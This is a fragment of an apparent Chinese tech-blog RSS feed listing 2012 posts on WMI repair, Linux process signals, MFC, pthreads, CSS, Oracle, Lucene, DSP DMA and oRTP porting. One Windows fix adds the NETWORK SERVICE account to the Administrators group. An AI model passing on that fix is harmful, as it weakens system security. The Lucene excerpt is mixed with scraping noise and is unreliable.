文件分析成功&#xA;将数据储存到储存库中...&#xA;完毕！&#xA;注意，如果在执行第二条命令时提示，&#39;mofcomp&#39;不是内部或外部命令，也不是可运行的程序或批处理文件。&#xA;在桌面上右击我的电脑-属性-高级选项-环境变量-系统变量中path中编辑在后面加：;%SystemRoot%\System32\Wbem;就OK了。&#xA;方法3：1 右击“我的电脑”--&amp;gt;“管理” 2 在“本地用户和组”内的Administrators组上双击，出现添加属性对话框。 3 单击“添加”按钮，出现添加用户对话框 4 单击“高级”按钮，再单击“搜索”（或是“立即查找”）按钮。注：此&#39;NT AUTHORITY\NETWORK SERVICE&#39;用户为系统内置帐户，无法直接添加。 5 在“搜索结果”内选择“Network Service”用户后，单击“确定” 转载于:https://my.</description>
    </item>
    <item>
      <title>父进程结束后，子进程自动结束</title>
      <link>https://bchobby.github.io/posts/e9d798c28a615a974557412e55fbd0e5/</link>
      <pubDate>Sun, 01 Jul 2012 19:13:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9d798c28a615a974557412e55fbd0e5/</guid>
      <description>5三/12 27 Linux下让父进程结束后，子进程自动结束 在多进程编程的时候，经常会遇到这样的情况。父进程创建了一堆子进程，当遇到错误或者操作失误的时候把父进程关闭了，但是子进程还在跑，不得不一个一个地杀死子进程，或者使用ps,grep,awk,kill来配合批量杀死。&#xA;之前在写 xxfpm（一个PHP-CGI的进程管理） 的时候，在Linux下使用父进程给子进程信号通知的方式来达到用户杀死父进程时，子进程也随即关闭。但是这种方法不太完美。例如，如果父进程被KILL信号杀死，完全没有机会给子进程发送信号了。&#xA;在网上搜了一下，用Linux下libc的prctl设置PR_SET_PDEATHSIG属性，似乎可以让子进程在父进程自动结束后接收到信号。这个方法似乎很完美！！！&#xA;PR_SET_PDEATHSIG (since Linux 2.1.57) Set the parent process death signal of the calling process to arg2 (either a signal value in the range 1..maxsig, or 0 to clear). This is the signal that the calling process will get when its parent dies. This value is cleared for the child of a fork(2). 测试代码：&#xA;view plain copy to clipboard print ? #!/usr/bin/env python import os import ctypes import time libc = ctypes.</description>
    </item>
    <item>
      <title>特殊符号大全</title>
      <link>https://bchobby.github.io/posts/656de0b1b144104c5053ec1ed1c1a1fe/</link>
      <pubDate>Fri, 29 Jun 2012 10:33:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/656de0b1b144104c5053ec1ed1c1a1fe/</guid>
      <description>特殊符号&#xA;! &#34; # $ % &amp;amp; &#39; ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; &amp;lt; = &amp;gt; @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~ ￠ ￡ ¤ ￥ | § ¨ a - ˉ ° ± 2 3 ′ μ · 1 o à á è é ê ì í D ò ó × ù ú ü Y T à á a è é ê ì í e ò ó ÷ ù ú ü y t ā ā ē ē ě ě ī ī ń ň ō ō ū ū ∥ ǎ ǎ ǐ ǐ ǒ ǒ ǔ ǔ ǖ ǖ ǘ ǘ ǚ ǚ ǜ ǜ ɑ ɡ ˇ ˉ ˊ ˋ ˙ Α Β Γ Δ Ε Ζ Η Θ Ι Κ Λ Μ Ν Ξ Ο Π Ρ Σ Τ Υ Φ Χ Ψ Ω α β γ δ ε ζ η θ ι κ λ μ ν ξ ο π ρ σ τ υ φ χ ψ ω Ё А Б В Г Д Е Ж З И Й К Л М Н О П Р С Т У Ф Х Ц Ч Ш Щ Ъ Ы Ь Э Ю Я а б в г д е ж з и й к л м н о п р с т у ф х ц ч ш щ ъ ы ь э ю я ё‐ – — ― ‖ ‘ ’ “ ” ‥ … ‰ ′ ″ ‵ ※ ￣ € ℃ ℅ ℉ № ℡ Ⅰ Ⅱ Ⅲ Ⅳ Ⅴ Ⅵ Ⅶ Ⅷ Ⅸ Ⅹ Ⅺ Ⅻ ⅰ ⅱ ⅲ ⅳ ⅴ ⅵ ⅶ ⅷ ⅸ ⅹ ← ↑ → ↓ ↖ ↗ ↘ ↙ ∈ ∏ ∑ ∕ ° √ ∝ ∞ ∟ ∠ ∣ ∥ ∧ ∨ ∩ ∪ ∫ ∮ ∴ ∵ ∶ ∷ ～ ∽ ≈ ≌ ≒ ≠ ≡ ≤ ≥ ≦ ≧ ≮ ≯ ⊕ ⊙ ⊥ ⊿ ⌒ ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ─ ━ │ ┃ ┄ ┅ ┆ ┇ ┈ ┉ ┊ ┋ ┌ ┍ ┎ ┏ ┐ ┑ ┒ ┓ └ ┕ ┖ ┗ ┘ ┙ ┚ ┛ ├ ┝ ┞ ┟ ┠ ┡ ┢ ┣ ┤ ┥ ┦ ┧ ┨ ┩ ┪ ┫ ┬ ┭ ┮ ┯ ┰ ┱ ┲ ┳ ┴ ┵ ┶ ┷ ┸ ┹ ┺ ┻ ┼ ┽ ┾ ┿ ╀ ╁ ╂ ╃ ╄ ╅ ╆ ╇ ╈ ╉ ╊ ╋ ═ ║ ╒ ╓ ╔ ╕ ╖ ╗ ╘ ╙ ╚ ╛ ╜ ╝ ╞ ╟ ╠ ╡ ╢ ╣ ╤ ╥ ╦ ╧ ╨ ╩ ╪ ╫ ╬ ╭ ╮ ╯ ╰ ╱ ╲ ╳ ▁ ▂ ▃ ▄ ▅ ▆ ▇ █ ▉ ▊ ▋ ▌ ▍ ▎ ▏ ▓ ▔ ▕■ □ ▲ △ ▼ ▽ ◆ ◇ ○ ◎ ● ◢ ◣ ◤ ◥ ★ ☆ ☉ ♀ ♂、 。 〃 々 〆 〇 〈 〉 《 》 「 」 『 』 【 】 〒 〓 〔 〕 〖 〗 〝 〞 〡 〢 〣 〤 〥 〦 〧 〨 〩 ぁ あ ぃ い ぅ う ぇ え ぉ お か が き ぎ く ぐ け げ こ ご さ ざ し じ す ず せ ぜ そ ぞ た だ ち ぢ っ つ づ て で と ど な に ぬ ね の は ば ぱ ひ び ぴ ふ ぶ ぷ へ べ ぺ ほ ぼ ぽ ま み む め も ゃ や ゅ ゆ ょ よ ら り る れ ろ ゎ わ ゐ ゑ を ん ゛ ゜ ゝ ゞ ァ ア ィ イ ゥ ウ ェ エ ォ オ カ ガ キ ギ ク グ ケ ゲ コ ゴ サ ザ シ ジ ス ズ セ ゼ ソ ゾ タ ダ チ ヂ ッ ツ ヅ テ デ ト ド ナ ニ ヌ ネ ノ ハ バ パ ヒ ビ ピ フ ブ プ ヘ ベ ペ ホ ボ ポ マ ミ ム メ モ ャ ヤ ュ ユ ョ ヨ ラ リ ル レ ロ ヮ ワ ヰ ヱ ヲ ン ヴ ヵ ヶ ー ヽ ヾ ㄅ ㄆ ㄇ ㄈ ㄉ ㄊ ㄋ ㄌ ㄍ ㄎ ㄏ ㄐ ㄑ ㄒ ㄓ ㄔ ㄕ ㄖ ㄗ ㄘ ㄙ ㄚ ㄛ ㄜ ㄝ ㄞ ㄟ ㄠ ㄡ ㄢ ㄣ ㄤ ㄥ ㄦ ㄧ ㄨ ㄩ ㈠ ㈡ ㈢ ㈣ ㈤ ㈥ ㈦ ㈧ ㈨ ㈩ ㈱ ㊣ ㎎ ㎏ ㎜ ㎝ ㎞ ㎡ ㏄ ㏎ ㏑ ㏒ ㏕                                        ︰ ︱ ︳ ︴ ︵ ︶ ︷ ︸ ︹ ︺ ︻ ︼ ︽ ︾ ︿ ﹀ ﹁ ﹂ ﹃ ﹄ ﹉ ﹊ ﹋ ﹌ ﹍ ﹎ ﹏ ﹐ ﹑ ﹒ ﹔ ﹕ ﹖ ﹗ ﹙ ﹚ ﹛ ﹜ ﹝ ﹞ ﹟ ﹠ ﹡ ﹢ ﹣ ﹤ ﹥ ﹦ ﹨ ﹩ ﹪ ﹫ ！ ＂ ＃ ＄ ％ ＆ ＇ （ ） ＊ ＋ ， － ． ／ ０ １ ２ ３ ４ ５ ６ ７ ８ ９ ： ； ＜ ＝ ＞ ？ ＠ Ａ Ｂ Ｃ Ｄ Ｅ Ｆ Ｇ Ｈ Ｉ Ｊ Ｋ Ｌ Ｍ Ｎ Ｏ Ｐ Ｑ Ｒ Ｓ Ｔ Ｕ Ｖ Ｗ Ｘ Ｙ Ｚ ［ ＼ ］ ＾ ＿ ｀ ａ ｂ ｃ ｄ ｅ ｆ ｇ ｈ ｉ ｊ ｋ ｌ ｍ ｎ ｏ ｐ ｑ ｒ ｓ ｔ ｕ ｖ ｗ ｘ ｙ ｚ ｛ ｜ ｝ ～ ￠ ￡ ￢ ￣ ￤ ￥ 特殊文字</description>
    </item>
    <item>
      <title>OnContextMenu 响应鼠标右键菜单消息</title>
      <link>https://bchobby.github.io/posts/ff01c49a090eee24ea37879065a592ff/</link>
      <pubDate>Wed, 20 Jun 2012 10:14:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff01c49a090eee24ea37879065a592ff/</guid>
      <description> WM_CONTEXTMENU消息 用来响应鼠标右键消息， 它响应的不是鼠标右键按下消息，也不是鼠标右键弹起消息&#xA;而是鼠标右键 依次按下弹起后触发的消息。&#xA;因此，若程序还响应了鼠标右键按下的消息OnRButtonDown，且在此响应函数中有模特对话框出现的话，则不会响应WM_CONTEXTMENU消息。&#xA;比如，有AfxMessageBox(L&#34;Right Down&#34;); 模特对话框出现在右键按下响应函数中， 则关闭此模特对话框后，不在响应右键菜单消息。&#xA;原因在于：&#xA;右键菜单 是在右键依次按下弹起时才被触发的。&#xA;右键按下， 模特对话框产生时，消息只被发送到了模特对话框，因此，鼠标弹起消息未被发送到主窗口，因此，不会响应右键菜单消息。&#xA;但是，如果在右键弹起响应函数OnRButtonUp中响应模特对话框消息的话， 右键菜单消息 不会被影响。&#xA;原因是： 此时鼠标按下、弹起消息均已被发送到了主窗口，因此程序在关闭模特对话框后，仍会响应右键菜单消息。&#xA;OnContextMenu(CWnd* pWnd, CPoint point)&#xD;{&#xD;CPoint pt=point;&#xD;CMenu menu;&#xD;CMenu* PopupMenu=NULL;&#xD;ScreenToClient(&amp;amp;pt);&#xD;//加载菜单&#xD;menu.LoadMenu(IDR_IMAGEVIEW);&#xD;//子菜单项&#xD;//右键点击 弹出此子菜单项&#xD;PopupMenu=menu.GetSubMenu(3);&#xD;PopupMenu-&amp;gt;TrackPopupMenu(TPM_RIGHTBUTTON | TPM_LEFTALIGN,point.x,point.y,this);&#xD;} 参考资料：&#xA;http://topic.csdn.net/t/20061114/18/5157800.html </description>
    </item>
    <item>
      <title>pthread_create线程创建的过程剖析</title>
      <link>https://bchobby.github.io/posts/adbfca66ec5100439ed0e22297a8df4d/</link>
      <pubDate>Mon, 18 Jun 2012 16:56:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/adbfca66ec5100439ed0e22297a8df4d/</guid>
      <description>概述&#xA;在Linux环境下，pthread库提供的pthread_create()API函数，用于创建一个线程。线程创建失败时，它可能会返回ENOMEM或EAGAIN。这篇文章主要讨论线程创建过程中碰到的一些问题和解决方法。&#xA;创建线程&#xA;首先，本文用的实例代码example.c:&#xA;/* example.c*/&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;#include &amp;lt;pthread.h&amp;gt;&#xA;void thread(void)&#xA;{&#xA;int i;&#xA;for(i=0;i&amp;lt;3;i++)&#xA;printf(&#34;This is a pthread.\n&#34;);&#xA;sleep(30);&#xA;}&#xA;int main(int argc,char **argv)&#xA;{&#xA;pthread_t id;&#xA;int i,ret;&#xA;ret=pthread_create(&amp;amp;id,NULL,(void *) thread,NULL);&#xA;if(ret!=0){&#xA;printf (&#34;Create pthread error!\n&#34;);&#xA;exit (1);&#xA;}&#xA;for(i=0;i&amp;lt;3;i++)&#xA;printf(&#34;This is the main process.\n&#34;);&#xA;pthread_join(id,NULL);&#xA;return 0;&#xA;}&#xA;编译，执行下面命令：&#xA;# example.c -lpthread -o example -g&#xA;用strace工具跟踪线程创建的过程：&#xA;# strace ./example&#xA;Strace工具输出：&#xA;getrlimit(RLIMIT_STACK, {rlim_cur=10240*1024, rlim_max=RLIM_INFINITY}) = 0 uname({sys=&#34;</description>
    </item>
    <item>
      <title>Regular DLL(MFC规则DLL)、MFC...Extension DLL(MFC扩展DLL 区别</title>
      <link>https://bchobby.github.io/posts/f7c217f13df3d254e61b0b58c04ae51a/</link>
      <pubDate>Wed, 06 Jun 2012 15:34:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7c217f13df3d254e61b0b58c04ae51a/</guid>
      <description> 、Non-MFC DLL:指的是不用MFC的类库结构，直接用C语言写的DLL，其输出的函数一般用的是标准C接口，并能被非MFC或MFC编写的应用程序所调用。 b、Regular DLL:和下述的Extension Dlls一样，是用MFC类库编写的。明显的特点是在源文件里有一个继承CWinApp的类。其又可细分成静态连接到MFC和动态连接到MFC上的。 静态连接到MFC的动态连接库只被VC的专业般和企业版所支持。该类DLL应用程序里头的输出函数可以被任意Win32程序使用，包括使用MFC的应用程序。输入函数有如下形式： extern &#34;C &#34; EXPORT YourExportedFunction( ); 如果没有extern “C”修饰，输出函数仅仅能从C++代码中调用。 DLL应用程序从CWinApp派生，但没有消息循环。 动态链接到MFC的规则DLL应用程序里头的输出函数可以被任意Win32程序使用，包括使用MFC的应用程序。但是，所有从DLL输出的函数应该以如下语句开始： AFX_MANAGE_STATE(AfxGetStaticModuleState( )) 此语句用来正确地切换MFC模块状态。 Regular DLL能够被所有支持DLL技术的语言所编写的应用程序所调用。在这种动态连接库中，它必须有一个从CWinApp继承下来的类，DllMain函数被MFC所提供，不用自己显式的写出来。 c、Extension DLL:用来实现从MFC所继承下来的类的重新利用，也就是说，用这种类型的动态连接库，可以用来输出一个从MFC所继承下来的类。它输出的函数仅可以被使用MFC且动态链接到MFC的应用程序使用。可以从MFC继承你所想要的、更适于你自己用的类，并把它提供给你的应用程序。你也可随意的给你的应用程序提供MFC或MFC继承类的对象指针。Extension DLL使用MFC的动态连接版本所创建的，并且它只被用MFC类库所编写的应用程序所调用。Extension DLLs 和Regular DLLs不一样，它没有一个从CWinApp继承而来的类的对象，所以，你必须为自己DllMain函数添加初始化代码和结束代码。 和规则DLL相比，有以下不同： 1、它没有一个从CWinApp派生的对象； 2、它必须有一个DllMain函数； 3、DllMain调用AfxInitExtensionModule函数，必须检查该函数的返回值，如果返回0，DllMmain也返回0； 4、如果它希望输出CRuntimeClass类型的对象或者资源(Resources)，则需要提供一个初始化函数来创建一个CDynLinkLibrary对象。并且，有必要把初始化函数输出； 5、使用扩展DLL的MFC应用程序必须有一个从CWinApp派生的类，而且，一般在InitInstance里调用扩展DLL的初始化函数。 </description>
    </item>
    <item>
      <title>CSS 元素垂直居中的 6种方法</title>
      <link>https://bchobby.github.io/posts/56a4c9ff2eadaadc9df41e7eb89f973e/</link>
      <pubDate>Wed, 30 May 2012 09:56:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56a4c9ff2eadaadc9df41e7eb89f973e/</guid>
      <description>转自：http://blog.zhourunsheng.com/2012/03/css-%E5%85%83%E7%B4%A0%E5%9E%82%E7%9B%B4%E5%B1%85%E4%B8%AD%E7%9A%84-6%E7%A7%8D%E6%96%B9%E6%B3%95/ 利用CSS进行元素的水平居中，比较简单，行级元素设置其父元素的text-align center，块级元素设置其本身的left 和 right margins为auto即可。本文收集了六种利用css进行元素的垂直居中的方法，每一种适用于不同的情况，在实际的使用过程中选择某一种方法即可。 Line-Height Method 试用：单行文本垂直居中，demo&#xA;代码：&#xA;html&#xA;&amp;lt;div id=&#34;parent&#34;&amp;gt; &amp;lt;div id=&#34;child&#34;&amp;gt;Text here&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; css&#xA;#child { line-height: 200px; }垂直居中一张图片，代码如下 html&#xA;&amp;lt;div id=&#34;parent&#34;&amp;gt; &amp;lt;img src=&#34;image.png&#34; alt=&#34;&#34; /&amp;gt; &amp;lt;/div&amp;gt;css #parent { line-height: 200px; } #parent img { vertical-align: middle; } CSS Table Method 适用：通用，demo&#xA;代码：&#xA;html&#xA;&amp;lt;div id=&#34;parent&#34;&amp;gt; &amp;lt;div id=&#34;child&#34;&amp;gt;Content here&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; css&#xA;#parent {display: table;} #child { display: table-cell; vertical-align: middle; } 低版本 IE fix bug： #child { display: inline-block; } Absolute Positioning and Negative Margin 适用：块级元素，demo</description>
    </item>
    <item>
      <title>命令后台执行</title>
      <link>https://bchobby.github.io/posts/fb99914192d1b725bd78dfe504431649/</link>
      <pubDate>Tue, 29 May 2012 17:27:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb99914192d1b725bd78dfe504431649/</guid>
      <description>后台执行命令： ctrl+z 把命令发到后台执行： 命令 &amp;amp; (就是命令后面加上空格和“&amp;amp;”） 将后台命令放到前台执行： fg + 数字（这个数字就是后台运行的数字，使用jobs可以查看） nohup(不挂断的运行命令） 如果终端断掉，需要命令仍然在后台运行则需要加上nohup nohup /root/test.php&amp;amp; jobs查看后台运行程序 来自 “ ITPUB博客 ” ，链接：http://blog.itpub.net/22934571/viewspace-731392/，如需转载，请注明出处，否则将追究法律责任。 转载于:http://blog.itpub.net/22934571/viewspace-731392/</description>
    </item>
    <item>
      <title>查看ASM_diskgroup ,asm_disk</title>
      <link>https://bchobby.github.io/posts/a787f6ad607d4eec21e7da5baf4adf65/</link>
      <pubDate>Tue, 29 May 2012 16:07:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a787f6ad607d4eec21e7da5baf4adf65/</guid>
      <description>查看ASM_DISKGROUP select * from v$asm_diskgroup 查看 asm_disk 查看asm_disk SQL&amp;gt; select group_number, disk_number, mount_status, header_status, name, path from v$asm_disk; GROUP_NUMBER DISK_NUMBER MOUNT_STATUS HEADER_STATUS NAME PATH ------------ ----------- --------------- --------------- ---------- -------------------- 0 0 CLOSED CANDIDATE /dev/rdsk/c2t0d3s0 0 3 CLOSED CANDIDATE /dev/rdsk/c2t0d3 0 2 CLOSED CANDIDATE /dev/rdsk/c2t0d3s6 0 1 CLOSED CANDIDATE /dev/rdsk/c2t0d3s1 来自 “ ITPUB博客 ” ，链接：http://blog.itpub.net/22934571/viewspace-731377/，如需转载，请注明出处，否则将追究法律责任。 转载于:http://blog.itpub.net/22934571/viewspace-731377/</description>
    </item>
    <item>
      <title>lucene、lucene.NET详细使用与优化详解</title>
      <link>https://bchobby.github.io/posts/fafc647cc22066802ddeae5dd8ca9485/</link>
      <pubDate>Sat, 12 May 2012 10:12:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fafc647cc22066802ddeae5dd8ca9485/</guid>
      <description>2019独角兽企业重金招聘Python工程师标准&amp;gt;&amp;gt;&amp;gt; 1 lucene简介ITPUB个人空间 f F M A \5M S&amp;amp;f3d ~&#xA;1.1 什么是luceneITPUB个人空间9^ T d1h m&#xA;Lucene是一个全文搜索框架，而不是应用产品。因此它并不像www.baidu.com 或者google Desktop那么拿来就能用，它只是提供了一种工具让你能实现这些产品。ITPUB个人空间Z i \ E8o&#xA;ITPUB个人空间&amp;amp;v y X X L:Q&#xA;1.2 lucene能做什么ITPUB个人空间 ~&amp;amp;s1n7e ?:g%a&#xA;要回答这个问题，先要了解lucene的本质。实际上lucene的功能很单一，说到底，就是你给它若干个字符串，然后它为你提供一个全文搜索服务，告诉你你要搜索的关键词出现在哪里。知道了这个本质，你就可以发挥想象做任何符合这个条件的事情了。你可以把站内新闻都索引了，做个资料库；你可以把一个数据库 表的若干个字段索引起来，那就不用再担心因为“%like%”而锁表了；你也可以写个自己的搜索引擎……&#xA;[ [ P.A2y#J&#39;|*n0&#xA;3b ^ f6J%J:G l/g01.3 你该不该选择lucene&#xA;-V ^ \ { N0下面给出一些测试数据，如果你觉得可以接受，那么可以选择。ITPUB个人空间,P rZ1o o o9M @9|1o:G&#xA;测试一：250万记录，300M左右文本，生成索引380M左右，800线程下平均处理时间300ms。&#xA;.? A Z w T e W0测试二：37000记录，索引数据库中的两个varchar字段，索引文件2.6M，800线程下平均处理时间1.5ms。&#xA;#w,N+H0d&#39;H} J A g.B&amp;amp;M0&#xA;+Q%T x)E Q1A ] t02 lucene的工作方式ITPUB个人空间 D o [3B w&amp;amp;C5J C%p c</description>
    </item>
    <item>
      <title>lsnrctl start 出现错误Failed to start service, error 0.</title>
      <link>https://bchobby.github.io/posts/92debfd9e05642be401c52456acf7a78/</link>
      <pubDate>Wed, 09 May 2012 15:44:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92debfd9e05642be401c52456acf7a78/</guid>
      <description> 今天想启动数据库, 发生如题的错误. 为什么? Google一下, 从&#xA;https://forums.oracle.com/forums/thread.jspa?threadID=885033&#xA;这个地址得到启发.&#xA;原来, 我这几天做PRO*C将环境变量ORACLE_HOME做了修改. 开始我也是认为在Console做一下修改就可以了, 但是还要发生同样的错误. 一定要在&#34;我的电脑&#34;的&#34;属性&#34;中做修改才可以. </description>
    </item>
    <item>
      <title>TMS320F28335 DMA配置详解</title>
      <link>https://bchobby.github.io/posts/338501d0625f53a88a86b0baa0f3ed05/</link>
      <pubDate>Mon, 07 May 2012 19:17:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/338501d0625f53a88a86b0baa0f3ed05/</guid>
      <description>DMA（Direct Memory Access），即直接存储器存取，是一种快速传送数据的机制。它的优点在于一旦控制器初始化完成，数据开始传送，DMA就可以脱离CPU，独立完成数据传送。不需要依于CPU的大量中断负载，从而节省大量的CPU资源。&#xA;TMS320F28335具有6通道DMA，而且每个通道具有独立的PIE中断。DMA的触发源种类有很多，可以配置为ADC、MCBSPs、外部中断、CPU定时器、ePWM1-6 ADCSOCA and ADSOCB和软件等出发方式。DMA可以对L4-L7 16Kx16 SARAM、XINTF外部接口、ADC、MCBSPs、ePWM1-6/HRPWM1-6映射到Peripheral Frame 3空间的寄存器进行数据操作。工作方式可以配置为32位或者16位。吞吐量最高为4时钟/字。需要注意的是，当DMA对MCBSPs进行数据操作时，只能配置为16位工作模式，而且最大的吞吐量为5时钟/字。具体原因参考一下TI的数据手册。下面以TI的例程为例详细讲解一下DMA配置。&#xA;28335 DMA的配置主要是一下几个函数，可以在DSP2833x_DMA.c找到。&#xA;函数及配置详解：&#xA;void DMACHxAddrConfig(volatile Uint16 *DMA_Dest,volatile Uint16 *DMA_Source) 参数解析：配置DMA的数据目的地址和源地址(跟函数中参数的排序相同，下同)。&#xA;void DMACHxBurstConfig(Uint16 bsize, int16 srcbstep, int16 desbstep) 参数解析：配置每帧大小、帧内源地址增加偏移和帧内源地址增加偏移。地址增加偏移就是指传输一个字(或帧)之后地址增量。&#xA;void DMACHxTransferConfig(Uint16 tsize, int16 srctstep, int16 deststep) 参数解析：配置每次触发DMA转移多少帧、帧间源地址增加偏移和帧间源地址增加偏移。&#xA;void DMACHxWrapConfig(Uint16 srcwsize, int16 srcwstep, Uint16 deswsize, int16 deswstep) 参数解析：配置源地址偏移总量、重载的源地址、目的地址偏移总量、重载的目的地址。也就是说在源地址（或者目的地址）偏移量超过所设置的偏移总量的时候重载所设置的新的源地址（或者目的地址）。我是这么理解的。&#xA;void DMACHxModeConfig(Uint16 persel, Uint16 perinte, Uint16 oneshot, Uint16 cont, Uint16 synce, Uint16 syncsel, Uint16 ovrinte, Uint16 datasize, Uint16 chintmode, Uint16 chinte) 参数解析：配置触发源选择、触发源使能、ONESHOT使能、继续模式使能、外设同步使能、同步对象选择(源同步还是目的同步)、溢出中断使能、工作方式选择(16位还是32位)、产生中断模式选择(开始还是结束)、产生中断使能。</description>
    </item>
    <item>
      <title>Google的技术构架 (精心整理版)</title>
      <link>https://bchobby.github.io/posts/a2dd1ef7fe8adea6204c96628c134a5b/</link>
      <pubDate>Fri, 04 May 2012 13:43:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2dd1ef7fe8adea6204c96628c134a5b/</guid>
      <description>网上看到的一篇关于GOOGLE技术架构的详细介绍。&#xA;了解云计算标杆Google的技术构架 一、前言 计算无疑是今年IT 技术界最热点的关键词之一。从谷歌趋势分析来看，国际上Cloud computing 是从2007 年中期开始成为整个业界关注的重点，在中国云计算是从2008 年开始 成为中国IT 界和通信界关注的核心。特别是，当中国移动2008 年开始关注 计算，并推动 中国移动相关的业务支撑系统、业务软件平台开始向 计算的平台迁移。使得整个中国IT 界、通信界的相关产业力量更加关注 计算，同时大家也开始意识到了 计算确实可以大大 的节省海量计算的总体拥有成本。 cloud computing 云计算 当业界谈到 计算的时候，都会第一个想到谷歌 Google。我们日常在使用的Google Search，Google Earth，Goolge Map，Google Gmail，Google Doc 等等业务都是Google 基于自 己 计算平台来提供的。Google 也是通过云计算的方式，大量的降低计算成本，使之业务 更具有竞争力。 Google 原先企业初期阶段，获得的投资有限，只能自己攒机，但是很差的机器不可能 发挥服务器的性能和稳定性，于是只有去想该如何提高可靠性，如何利用很多&#34;破烂&#34;机器获 得更高的性能。这就有了云计算的雏形。 今天我们都知道Google 的规模，而如果我们不去认清 计算的强大，我们就不知道互 联网的未来和规则。Google 在98 年的时候被迫发现了这一规则，然后我们看到了聚合的力 量，今天微软、IBM、雅虎、百度、亚马逊这些企业看到了规则，于是开始进入 计算领域。 所以我们研究 计算，可以系统剖析一下Google 的技术构架，这对于我们搭建自己自身的 计算平台有比较好的借鉴意义和标杆意义！ 二、Google 的整体技术构架说明 由于Google 没有官方发布一个自身的技术构架说明。本文主要的信息都来自互联网中 对于Google 网络技术构架的分析，大量信息来自labs.google.com 。 Google 最大的IT 优势在于它能建造出既富于性价比(并非廉价)又能承受极高负载的高 性能系统。因此Google 认为自己与竞争对手，如亚马逊网站(Amazon)、电子港湾(eBay)、微 软(Microsoft)和雅虎 (Yahoo)等公司相比，具有更大的成本优势。其IT 系统运营约为其他互 联网公司的60%左右。 同时Google 程序员的效率比其他Web 公司同行们高出50%～100%，原因是Google 已 经开发出了一整套专用于支持大规模并行系统编程的定制软件库。 从整体来看，Google 的 计算平台包括了如下的技术层次。 1）网络系统：包括外部网络(Exterior Network) ，这个外部网络并不是指运营商自己的 骨干网，也是指在Google 计算服务器中心以外，由Google 自己搭建的由于不同地区/ 国 家，不同应用之间的负载平衡的数据交换网络。内部网络（Interior Network），连接各个Google 自建的数据中心之间的网络系统。 2）硬件系统：从层次上来看，包括单个服务器、整合了多服务器机架和存放、连接各 个服务器机架的数据中心（IDC）。 3）软件系统：包括每个服务器上面的安装的单机的操作系统经过修改过的Redhat Linux。 Google 计算底层软件系统 （文件系统GFS、并行计算处理算法 Mapreduce、并行数据库 Bigtable，并行锁服务Chubby Lock， 计算消息队列GWQ ） 4）Google 内部使用的软件开发工具 Python、Java、C++ 等 5）Google 自己开发的应用软件Google Search 、Google Email 、Google Earth 三、Google 各个层次技术介绍 1、Google 外部网络系统介绍 当一个互联网用户输入www.</description>
    </item>
    <item>
      <title>oRTP移植到DM6446</title>
      <link>https://bchobby.github.io/posts/22fe062fc2e503cc2a5fa225679f3bb1/</link>
      <pubDate>Thu, 03 May 2012 10:25:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22fe062fc2e503cc2a5fa225679f3bb1/</guid>
      <description>1. 移植到DM6446开发板&#xA;1）下载oRTP源码: http://download.savannah.gnu.org.sixxs.org/releases/linphone/ortp/sources/&#xA;我们用最新的版本ortp-0.20.0.tar.gz&#xA;22-Feb-2012 16:22&#xA;503K&#xA;2）库文件编译&#xA;解压到 /opt/ortp-0.20.0&#xA;进入主目录：cd /opt/ortp-0.20.0&#xA;执行如下命令：&#xA;a ) ./configure --prefix=/opt/ortp --host= arm-montavista-linux --disable-staticCC=arm_v5t_le-gcc&#xA;b）make&#xA;c）make install&#xA;注：执行make时程序报错我们把文件/ortp-0.20.0/src/b64.c 中209-212行注释掉即可&#xA;#ifndef__WATCOMC__&#xA;// assert(characters[0] &amp;gt;= 0&amp;amp;&amp;amp; characters[0] &amp;lt; 64);&#xA;// assert(characters[1] &amp;gt;= 0&amp;amp;&amp;amp; characters[1] &amp;lt; 64);&#xA;// assert(characters[2] &amp;gt;= 0 &amp;amp;&amp;amp;characters[2] &amp;lt; 64);&#xA;// assert(characters[3] &amp;gt;= 0 &amp;amp;&amp;amp;characters[3] &amp;lt; 64);&#xA;#endif /*__WATCOMC__ */&#xA;完成后在/opt/ortp目录下生成如下文件夹：&#xA;3）复制头文件和库文件&#xA;a) 把 include下的ortp文件夹拷贝到&#xA;/mv_pro_4.0/montavista/pro/devkit/arm/v5t_le/lib/gcc/armv5tl-montavista-linuxeabi/3.4.3/include文件夹下，注意：是将整个ortp文件下一起拷贝，如果只拷贝里面的.h文件，在程序编译时会报错。&#xA;b) 把lib文件夹里边的除文件夹pkgconfig以外的文件拷贝到&#xA;/opt/mv_pro_4.0/montavista/pro/devkit/arm/v5t_le/armv5tl-montavista-linuxeabi/lib&#xA;c) 为了能在DM6446平台上运行程序，需要把库文件和头文件拷贝到嵌入式文件系统中。分别拷贝到\usr\lib和\usr\include中。</description>
    </item>
    <item>
      <title>js阻止事件冒泡的DEMO</title>
      <link>https://bchobby.github.io/posts/ff2be913e32fc8582199ee459ab09aca/</link>
      <pubDate>Wed, 02 May 2012 21:25:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff2be913e32fc8582199ee459ab09aca/</guid>
